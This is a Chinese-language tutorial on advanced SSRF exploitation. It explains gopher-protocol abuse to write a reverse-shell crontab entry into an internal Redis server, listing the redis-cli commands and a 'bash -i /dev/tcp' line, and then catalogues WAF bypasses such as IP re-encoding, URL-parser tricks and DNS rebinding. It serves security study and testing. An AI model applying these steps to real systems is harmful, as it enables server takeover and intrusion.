SSRF的进阶
1.Gopher协议的利用
1.gopher协议可以通过url指向指定IP端口发送任意内容,模拟大多数TCP协议,是SSRF中的一把利刃。
gopher协议URL: gopher://<host>:<port>/_<url编码的TCP数据>
这个url编码的TCP数据是gopher如此强大的原因,我们可以将任意TCP协议的流量,url编码后通过gopher这个载体发出去。这里有一个限制就是,gopher协议会一次把流量全部发送出去,这里就要它所承载的数据是无状态的单次链接,比如像有认证的mysql服务,就无法使用gopher来模拟。
2.不过gopher也不是在任何情况下都能使用,常见的编程语言对gopher协议的支持如下
PHP:--with-curlwrappers且php版本至少为5.3
Java:小于JDK1.7
Curl:低版本不支持
Perl:支持
ASP.NET:小于版本3
3.使用gopher访问Redis 近些年来出现了大量无认证Redis的手法,但是Redis一般部署在内网,大多数情况下绑定在127.0.0.1:6379,无法从外部直接访问。但是在存在SSRF漏洞的情况下,可以通过gopher协议来访问内网的Redis服务,导致任意的增删改查,甚至造成写入webshell、crontab、SSH公钥等更危险的结果。
Redis协议(RESP)的格式还是较为简单的,对于gopher非常好构造。
4.在访问Redis时,可以采用写入Crontab(一种管理工具)的方式反弹shell。流程如下:
redis-cli flushall
echo -e"\n\n*/1****bash -i /dev/tcp/127.0.0.1/8080 0>&1\n\n" | redis-cli -x set 1
redis-cli config set dir /var/spool/cron
redis-cli config set dbfilename root
redis-cli save
我们可以使用socat转发并记录流量,获取Redis协议流。
socat -v tcp-listen:1234,fork tcp-connect=localhost:6379
然后将其中的数据转换成gopher协议,把所有我们发出的流量进行url编码。
2.SSRF的绕过
SSRF也存在一些WAF(Web应用防火墙)绕过的场景
1.IP地址变形
如果WAF限制了IP地址,比如只允许外网IP作为参数输入,这时可以采取以下绕过方式:
a.改变ip地址的进制 比如可以把127.0.0.1改为十六进制的0x7f000001,或者十进制的2130706433
b.省略0位 可以将127.0.0.1省略为127.1
c.特殊写法的ip地址 在windows中0代表0.0.0.0。而在linux中0代表127.0.0.1
d.利用Enclosed Alphanumeric代替数字字母 ①②③.④⑤.⑥⑦.⑧⑨
2.利用跳转
可以使用302跳转到特定IP地址或者使用其他协议,需要服务端进行配置。
3.利用URL解析问题,
URL的格式较为复杂,不同的实现方式可能造成解析差异,比如
http://a@127.0.0.1:80@baidu.com, 对于php来说,hostname为baidu.com而对于libcurl(<7.54.0)来说hostname为127.0.0.1.
https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
4.利用DNS
可以利用动态解析服务,比如nip.io。它可以将127.0.0.1 nip.io解析为127.0.0.1
DNS重绑定,在某些情况下,后端服务可能采取这样的方法检测SSRF。先对域名进行解析,获得ip地址,判断ip地址合法性,如果合法则将域名传入到请求函数,在请求函数中会对域名做第二次解析。这样一来,如果我们搭建一个DNS服务,在第一次请求解析时返回一个合法的IP,在第二次解析时返回一个内网IP,就能绕过上述检测方式。